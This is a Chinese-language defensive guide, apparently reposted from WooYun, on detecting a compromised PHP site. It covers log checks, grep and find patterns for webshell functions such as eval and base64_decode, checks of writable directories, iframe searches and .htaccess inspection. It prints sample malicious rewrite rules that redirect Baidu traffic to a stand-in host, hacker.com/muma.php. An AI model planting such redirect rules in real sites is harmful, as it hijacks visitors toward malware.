作者:
spiderman
·
2014/08/01 12:26
from :http://www.gregfreeman.org/2013/how-to-tell-if-your-php-site-has-been-compromised/
0x01 檢視訪問日誌
看是否有檔案上傳操作(POST方法),
IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST/uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST/public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
nginx預設記錄的日誌格式為:
access_log logs/access.log
或
access_log logs/access.log combined;
nginx預設記錄日誌的位置為:
nginx安裝目錄/log/
0x02 查詢含有惡意php程式碼的檔案
2.1 查詢最近發生變化的php檔案
find . -type f -name '*.php' -mtime -7
-type f 表示搜尋正常的一般檔案 -mtime -7 表示7*24小時內修改的檔案
結果可能如下:
./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php
2.2 查詢檔案中是否存在疑似程式碼
find . -type f -name '*.php' | xargs grep -l "eval *(" --color
(*代表任意個空格)
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
註解:很多命令不支援管道傳遞引數,而實際上又需要這樣,所以就用了xargs命令,這個命令可以用來管道傳遞引數;grep -l表示只包含某個字串的檔名,如果去掉-l則會顯示匹配特定字串的行內容
幾個特殊字串的意義: eval()把字串按照php程式碼來執行,是最常見的php一句話木馬
base64_decode() 將字串base64解碼,攻擊的時候payload是base64編碼,則這個函式就有用武之地了
gzinflate() 將字串解壓縮處理,攻擊的時候payload用gzdeflate壓縮之後,使用這個函式進行解壓縮
str_rot13() 對字串進行rot13編碼
也可以使用正規表示式來搜尋檔案,查詢可以程式碼:
find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("
下面解釋webshell常用的函式:
mail():可用來向網站使用者傳送垃圾郵件
fsockopen():開啟一個網路連線或者一個unix套接字連線,可用於payload傳送遠端請求
pfsockopen():和fsockopen()作用類似
stream_socket_client():建立一個遠端連線,例子如下:
<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
}
?>
exec():命令執行函式
system():同exec()
passthru():同exec()
preg_replace()正規表示式由修飾符"e"修飾的時候,替換字串在替換之前需要按照php程式碼執行,這種情況也需要考慮到,這種情況可採用這種以下掃搜:
find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
0x03 比較程式碼檔案
這種情況需要有一份乾淨的程式碼,這份程式碼和正在使用的程式碼進行比較。例如
diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
上面的例子是比較wordpress-clean/ 和wordpress-comprised/兩個目錄,並且目錄裡面的wp-content/子目錄不比較
0x04 搜尋可寫的目錄
看這個目錄裡面是否有可疑檔案,如下指令碼查詢許可權為777的目錄是否存在php檔案
#!/bin/bash
search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)
for dir in $writable_dirs
do
#echo $dir
find $dir -type f -name '*.php'
done
駭客經常在jpg檔案中插入php程式碼,因此在查詢這些目錄的時候也要查詢jpg檔案:
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
注意:-iname 表示檔名不區分大小寫 grep -i 也表示不區分大小寫
0x05 檢測iframe標籤
駭客經常做的是嵌入iframe標籤,因此可以檢視網頁的原始碼,並且搜尋其中是否存在iframe標籤,可使用如下命令:
grep -i '<iframe' mywebsite.txt
對於動態生成的頁面,可使用ff的Live HTTP Headers外掛,下載到原始碼之後再查詢是否存在iframe標籤
0x06 查詢資料庫中是否存在敏感字串
包括%base64_%、%eval(%<等上面提到的一些關鍵詞
0x07 檢查.htaccess檔案
是否包含了auto_prepend_file和auto_append_file,使用如下命令
find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file
auto_prepend_file的作用是載入當前指令碼檔案之前,先載入的php指令碼 auto_append_file的作用是載入當前指令碼檔案之後,再載入的php指令碼。駭客如果這麼修改了.htaccess檔案,那麼可以在訪問.htaccess目錄的php指令碼時,載入上自己想要載入的惡意指令碼 .
htaccess檔案還可以被用來把訪問網站的流量劫持到駭客的網站,
RewriteCond %{HTTP_USER_AGENT}^.*Baiduspider.*$
Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
將baidu爬蟲的訪問重定向到駭客的網站(包含HTTP_USER_AGENT和http關鍵字)
RewriteCond %{HTTP_REFERER} ^.*baidu.com.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
將來自baidu搜尋引擎的流量重定向到駭客的網站(包含HTTP_REFERER和http關鍵字) 為了檢視網站是否被.htaccess修改導致流量劫持,可以在搜尋.htaccess檔案的時候採用如下命令:
find . -type f -name '\.htaccess' | xargs grep -i http;
find . -type f -name '\.htaccess' | xargs grep -i HTTP_USER_AGENT;
find . -type f -name '\.htaccess' | xargs grep -i HTTP_REFERER
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!